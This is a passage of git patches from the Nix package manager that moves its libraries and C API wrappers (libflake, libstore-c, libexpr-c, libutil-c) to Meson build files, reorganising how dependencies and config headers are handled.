+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-store'),
+  dependency('nix-fetchers'),
+  dependency('nix-expr'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+libgit2 = dependency('libgit2')
+deps_public += libgit2
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  # '-include', 'config-fetchers.h',
+  '-include', 'config-expr.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'flake-settings.cc',
+  'flake/config.cc',
+  'flake/flake.cc',
+  'flake/flakeref.cc',
+  'flake/url-name.cc',
+  'flake/lockfile.cc',
+)
+
+headers = files(
+  'flake-settings.hh',
+  'flake/flake.hh',
+  'flake/flakeref.hh',
+  'flake/lockfile.hh',
+  'flake/url-name.hh',
+)
+
+this_library = library(
+  'nixflake',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = []
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
+requires += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_directories('.'),
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : deps_public_subproject + deps_public,
+))
diff --git a/src/libflake/package.nix b/src/libflake/package.nix
new file mode 100644
index 00000000000..1280df7b7d9
--- /dev/null
+++ b/src/libflake/package.nix
@@ -0,0 +1,99 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-store
+, nix-fetchers
+, nix-expr
+, nlohmann_json
+, libgit2
+, man
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-flake";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  propagatedBuildInputs = [
+    nix-store
+    nix-util
+    nix-fetchers
+    nix-expr
+    nlohmann_json
+  ];
+
+  preConfigure =
+    # "Inline" .version so its not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
+  # to work with `strictDeps`.
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*-tab.*" ];
+
+  hardeningDisable = ["fortify"];
+})
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index d9237c55a5c..c2384dd7861 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -20,6 +20,9 @@ deps_private = [ ]
 # See note in ../nix-util/meson.build
 deps_public = [ ]
 
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
 # See note in ../nix-util/meson.build
 deps_other = [ ]
 
@@ -30,13 +33,17 @@ configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
 
 configdata.set_quoted('SYSTEM', host_machine.system())
 
-nix_util = dependency('nix-util')
-if nix_util.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util
-else
-  deps_public += nix_util
-endif
+foreach nix_dep : [
+  dependency('nix-util'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
 
 run_command('ln', '-s',
   meson.project_build_root() / '__nothing_link_target',
@@ -122,13 +129,16 @@ if enable_embedded_sandbox_shell
 endif
 
 generated_headers = []
-foreach header : [ 'schema.sql', 'ca-specific-schema.sql' ]
+foreach header : [
+  'schema.sql',
+  'ca-specific-schema.sql',
+]
   generated_headers += custom_target(
     command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
     input : header,
     output : '@PLAINNAME@.gen.hh',
     install : true,
-    install_dir : get_option('includedir') / 'nix'
+    install_dir : get_option('includedir') / 'nix',
   )
 endforeach
 
@@ -248,7 +258,7 @@ include_dirs = [
   include_directories('build'),
 ]
 
-headers = [config_h] +files(
+headers = [config_h] + files(
   'binary-cache-store.hh',
   'build-result.hh',
   'build/derivation-goal.hh',
@@ -427,11 +437,9 @@ this_library = library(
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
 requires = []
-if nix_util.type_name() == 'internal'
-  # `requires` cannot contain declared dependencies (from the
-  # subproject), so we need to do this manually
-  requires += 'nix-util'
-endif
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
 requires += deps_public
 
 import('pkgconfig').generate(
@@ -450,5 +458,5 @@ meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_dirs,
   link_with : this_library,
   compile_args : ['-std=c++2a'],
-  dependencies : [nix_util],
+  dependencies : deps_public_subproject + deps_public,
 ))
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index e118f3cd21f..f27dac2f693 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -23,9 +23,6 @@
 # Check test coverage of Nix. Probably want to use with at least
 # one of `doCheck` or `doInstallCheck` enabled.
 , withCoverageChecks ? false
-
-# Avoid setting things that would interfere with a functioning devShell
-, forDevShell ? false
 }:
 
 let
diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build
index c0345a6eee4..d5ee8eed7f6 100644
--- a/tests/unit/libutil-support/meson.build
+++ b/tests/unit/libutil-support/meson.build
@@ -20,9 +20,27 @@ deps_private = [ ]
 # See note in ../nix-util/meson.build
 deps_public = [ ]
 
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
 # See note in ../nix-util/meson.build
 deps_other = [ ]
 
+foreach nix_dep : [
+  dependency('nix-util'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+rapidcheck = dependency('rapidcheck')
+deps_public += rapidcheck
+
 add_project_arguments(
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
@@ -66,17 +84,6 @@ else
   linker_export_flags = []
 endif
 
-nix_util = dependency('nix-util')
-if nix_util.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util
-else
-  deps_public += nix_util
-endif
-
-rapidcheck = dependency('rapidcheck')
-deps_public += rapidcheck
-
 this_library = library(
   'nix-util-test-support',
   sources,
@@ -90,7 +97,11 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-libraries_private = []
+requires = []
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
+requires += deps_public
 
 import('pkgconfig').generate(
   this_library,
@@ -99,7 +110,7 @@ import('pkgconfig').generate(
   description : 'Nix Package Manager',
   subdirs : ['nix'],
   extra_cflags : ['-std=c++2a'],
-  requires : deps_public,
+  requires : requires,
   requires_private : deps_private,
 )
 
@@ -107,5 +118,5 @@ meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_dirs,
   link_with : this_library,
   compile_args : ['-std=c++2a'],
-  dependencies : [],
+  dependencies : deps_public_subproject + deps_public,
 ))
diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build
index cc13c436461..3f6e0fe65d9 100644
--- a/tests/unit/libutil/meson.build
+++ b/tests/unit/libutil/meson.build
@@ -18,18 +18,57 @@ cxx = meson.get_compiler('cpp')
 deps_private = [ ]
 
 # See note in ../nix-util/meson.build
-deps_public = [ ]
+deps_private_subproject = [ ]
 
 # See note in ../nix-util/meson.build
 deps_other = [ ]
 
 configdata = configuration_data()
 
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-util-c'),
+  dependency('nix-util-test-support'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+rapidcheck = dependency('rapidcheck')
+deps_private += rapidcheck
+
+gtest = dependency('gtest', main : true)
+deps_private += gtest
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-util-test.h',
+)
+
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
   '-include', 'config-util-test.h',
-  # '-include', 'config-store.h',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
@@ -46,14 +85,6 @@ add_project_arguments(
   language : 'cpp',
 )
 
-# TODO rename, because it will conflict with downstream projects
-configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
-
-config_h = configure_file(
-  configuration : configdata,
-  output : 'config-util-test.h',
-)
-
 sources = files(
   'args.cc',
   'canon-path.cc',
@@ -80,52 +111,11 @@ sources = files(
 
 include_dirs = [include_directories('.')]
 
-if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
-  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
-  # This is a temporary sledgehammer to export everything like on Unix,
-  # and not detail with this yet.
-  #
-  # TODO do not do this, and instead do fine-grained export annotations.
-  linker_export_flags = ['-Wl,--export-all-symbols']
-else
-  linker_export_flags = []
-endif
-
-nix_util = dependency('nix-util')
-if nix_util.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util
-else
-  deps_public += nix_util
-endif
-
-nix_util_c = dependency('nix-util-c')
-if nix_util_c.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util_c
-else
-  deps_public += nix_util_c
-endif
-
-nix_util_test_support = dependency('nix-util-test-support')
-if nix_util_test_support.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util_test_support
-else
-  deps_public += nix_util_test_support
-endif
-
-rapidcheck = dependency('rapidcheck')
-deps_public += rapidcheck
-
-gtest = dependency('gtest', main : true)
-deps_public += gtest
 
 this_exe = executable(
   'nix-util-test',
   sources,
-  dependencies : deps_public + deps_private + deps_other,
+  dependencies : deps_private_subproject + deps_private + deps_other,
   include_directories : include_dirs,
   # TODO: -lrapidcheck, see ../libutil-support/build.meson
   link_args: linker_export_flags + ['-lrapidcheck'],
@@ -139,5 +129,4 @@ meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_dirs,
   link_with : this_exe,
   compile_args : ['-std=c++2a'],
-  dependencies : [],
 ))

From 4fa8068b78444f691a9a3d3c16efdcfcd540ce9a Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 10:19:03 -0400
Subject: [PATCH 461/528] Mesonify other external API

---
 meson.build                 |   7 ++
 src/libexpr-c/.version      |   1 +
 src/libexpr-c/meson.build   | 159 ++++++++++++++++++++++++++++++++++++
 src/libexpr/meson.build     |   8 +-
 src/libfetchers/meson.build |   4 +-
 src/libflake/meson.build    |   6 +-
 src/libstore-c/.version     |   1 +
 src/libstore-c/meson.build  | 151 ++++++++++++++++++++++++++++++++++
 src/libstore/meson.build    |   6 +-
 src/libutil-c/meson.build   |  81 ++++++++++++------
 src/libutil/meson.build     |   4 +-
 src/perl/lib/Nix/Store.xs   |   4 +-
 12 files changed, 392 insertions(+), 40 deletions(-)
 create mode 120000 src/libexpr-c/.version
 create mode 100644 src/libexpr-c/meson.build
 create mode 120000 src/libstore-c/.version
 create mode 100644 src/libstore-c/meson.build

diff --git a/meson.build b/meson.build
index 7832eb48878..2a3932a40f8 100644
--- a/meson.build
+++ b/meson.build
@@ -18,6 +18,8 @@ subproject('external-api-docs')
 
 # C wrappers
 subproject('libutil-c')
+subproject('libstore-c')
+subproject('libexpr-c')
 
 # Language Bindings
 subproject('perl')
@@ -25,3 +27,8 @@ subproject('perl')
 # Testing
 subproject('libutil-test-support')
 subproject('libutil-test')
+#subproject('libstore-test-support')
+#subproject('libstore-test')
+#subproject('libexpr-test-support')
+#subproject('libexpr-test')
+#subproject('libflake-test')
diff --git a/src/libexpr-c/.version b/src/libexpr-c/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libexpr-c/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
new file mode 100644
index 00000000000..5abf2b47727
--- /dev/null
+++ b/src/libexpr-c/meson.build
@@ -0,0 +1,159 @@
+project('nix-expr-c', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-store'),
+  dependency('nix-expr'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+foreach nix_dep : [
+  dependency('nix-util-c'),
+  dependency('nix-store-c'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-expr.h',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+
+  # From C++ libraries, only for internals
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+  '-include', 'config-expr.hh',
+
+  # From C libraries, for our public, installed headers too
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-include', 'config-expr.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'nix_api_expr.cc',
+  'nix_api_external.cc',
+  'nix_api_value.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = [config_h] + files(
+  'nix_api_expr.h',
+  'nix_api_external.h',
+  'nix_api_value.h',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+this_library = library(
+  'nixexprc',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  link_args: linker_export_flags,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires_private = []
+foreach dep : deps_private_subproject
+  requires_private  += dep.name()
+endforeach
+requires_private += deps_private
+
+requires_public  = []
+foreach dep : deps_public_subproject
+  requires_public  += dep.name()
+endforeach
+requires_public += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires_public,
+  requires_private : requires_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+))
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 8f08decd408..34e4dec3bef 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -77,16 +77,16 @@ configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int())
 
 config_h = configure_file(
   configuration : configdata,
-  output : 'config-expr.h',
+  output : 'config-expr.hh',
 )
 
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
-  '-include', 'config-expr.h',
+  '-include', 'config-expr.hh',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index c1702152725..938ee27d41a 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -48,8 +48,8 @@ deps_public += libgit2
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index c0862a48413..1c0a3ae77ac 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -50,10 +50,10 @@ deps_public += libgit2
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
   # '-include', 'config-fetchers.h',
-  '-include', 'config-expr.h',
+  '-include', 'config-expr.hh',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
diff --git a/src/libstore-c/.version b/src/libstore-c/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libstore-c/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
new file mode 100644
index 00000000000..049dda0e253
--- /dev/null
+++ b/src/libstore-c/meson.build
@@ -0,0 +1,151 @@
+project('nix-store-c', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-store'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+foreach nix_dep : [
+  dependency('nix-util-c'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-store.h',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+
+  # From C++ libraries, only for internals
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
+
+  # From C libraries, for our public, installed headers too
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'nix_api_store.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = [config_h] + files(
+  'nix_api_store.h',
+)
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+this_library = library(
+  'nixstorec',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  link_args: linker_export_flags,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires_private = []
+foreach dep : deps_private_subproject
+  requires_private  += dep.name()
+endforeach
+requires_private += deps_private
+
+requires_public  = []
+foreach dep : deps_public_subproject
+  requires_public  += dep.name()
+endforeach
+requires_public += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires_public,
+  requires_private : requires_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+))
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index c2384dd7861..7277eb49d0e 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -162,14 +162,14 @@ endif
 
 config_h = configure_file(
   configuration : configdata,
-  output : 'config-store.h',
+  output : 'config-store.hh',
 )
 
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
+  '-include', 'config-util.hh',
+  '-include', 'config-store.hh',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 5de288e18ca..7ebbe3d0626 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -17,19 +17,60 @@ cxx = meson.get_compiler('cpp')
 # See note in ../nix-util/meson.build
 deps_private = [ ]
 
+# See note in ../nix-util/meson.build
+deps_private_subproject = [ ]
+
 # See note in ../nix-util/meson.build
 deps_public = [ ]
 
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
 # See note in ../nix-util/meson.build
 deps_other = [ ]
 
 configdata = configuration_data()
 
+foreach nix_dep : [
+  dependency('nix-util'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_private_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_private += nix_dep
+  endif
+endforeach
+
+foreach nix_dep : [
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-util.h',
+)
+
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
+
+  # From C++ libraries, only for internals
+  '-include', 'config-util.hh',
+
+  # From C libraries, for our public, installed headers too
   '-include', 'config-util.h',
-  # '-include', 'config-store.h',
   '-Wno-deprecated-declarations',
   '-Wimplicit-fallthrough',
   '-Werror=switch',
@@ -52,13 +93,12 @@ sources = files(
 
 include_dirs = [include_directories('.')]
 
-headers = files(
+headers = [config_h] + files(
   'nix_api_util.h',
-  'nix_api_util_internal.h',
 )
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
-  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared
   # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
   # This is a temporary sledgehammer to export everything like on Unix,
   # and not detail with this yet.
@@ -69,22 +109,6 @@ else
   linker_export_flags = []
 endif
 
-nix_util = dependency('nix-util')
-if nix_util.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util
-else
-  deps_public += nix_util
-endif
-
-# TODO rename, because it will conflict with downstream projects
-configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
-
-config_h = configure_file(
-  configuration : configdata,
-  output : 'config-util.h',
-)
-
 this_library = library(
   'nixutilc',
   sources,
@@ -96,7 +120,17 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-libraries_private = []
+requires_private = []
+foreach dep : deps_private_subproject
+  requires_private  += dep.name()
+endforeach
+requires_private += deps_private
+
+requires_public  = []
+foreach dep : deps_public_subproject
+  requires_public  += dep.name()
+endforeach
+requires_public += deps_public
 
 import('pkgconfig').generate(
   this_library,
@@ -105,9 +139,8 @@ import('pkgconfig').generate(
   description : 'Nix Package Manager',
   subdirs : ['nix'],
   extra_cflags : ['-std=c++2a'],
-  requires : deps_public,
-  requires_private : deps_private,
-  libraries_private : libraries_private,
+  requires : requires_public,
+  requires_private : requires_private,
 )
 
 meson.override_dependency(meson.project_name(), declare_dependency(
